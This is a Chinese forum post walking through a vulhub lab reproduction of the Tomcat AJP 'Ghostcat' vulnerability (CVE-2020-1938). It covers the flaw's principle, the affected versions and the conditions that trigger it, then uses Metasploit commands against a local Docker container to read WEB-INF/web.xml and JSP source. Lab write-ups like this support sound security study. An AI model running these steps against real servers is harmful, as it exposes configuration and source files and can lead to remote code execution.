【vulhub】tomcat CVE-2020-1938(AJP漏洞)

打印 上一主题 下一主题

主题 1945|帖子 1945|积分 5835

渗透环境

攻击机:    192.168.66.130(Kali)
漏洞收录于:vulhub/tomcat/CVE-2020-1938
漏洞详情

也被称为“Ghostcat”漏洞,是一个影响Apache Tomcat服务器的严重安全漏洞。
漏洞原理
Tomcat默认在server.xml中开启AJP协议端口(默认8009),用于与其他Web服务器(如Apache HTTPD)通信。由于AJP协议在处理哀求时未对用户输入充实验证,攻击者可通过构造恶意哀求操控以下三个关键属性:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path
    通过控制这些属性,攻击者可读取或包含webapp目录下的任意文件(如WEB-INF/web.xml、源代码等),甚至结合文件上传功能实现远程代码执行(RCE)
受影响版本

  • Apache Tomcat 6(全版本)
  • Apache Tomcat 7(7.0.0至7.0.99)
  • Apache Tomcat 8(8.0.0至8.5.50)
  • Apache Tomcat 9(9.0.0至9.0.30)
漏洞触发条件

  • 开启AJP协议端口:默认情况下,Tomcat的AJP连接器(8009端口)监听所有IP地点(0.0.0.0)。
  • 受影响版本:使用存在漏洞的Tomcat版本且未升级修复。
复现漏洞

启动环境

vulhub启动漏洞环境
  1. docker-compose up -d
复制代码

可以看到,该容器确实在监听所有IP地点的8009端口
漏洞使用

可以使用msf来验证漏洞,msf中默认的filename值为/WEB-INF/web.xml,在靶机中对应的路径实际上是/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,也就是说,使用该漏洞只能读取到/usr/local/tomcat/webapps/ROOT/下的文件。
  1. msfconsole
  2. search cve-2020-1938
  3. use 0
  4. show options
  5. set rhosts 127.0.0.1                # 漏洞环境是部署在本地的docker容器中的
  6. run
复制代码

红框中的内容就是WEB-INF/web.xml,能够乐成读到,说明漏洞存在。
也可以选择其他文件,如index.jsp,其完整路径为/usr/local/tomcat/webapps/ROOT/index.jsp
  1. set filename /index.jsp
  2. run
复制代码
也能够读到jsp文件源码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

笑看天下无敌手

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表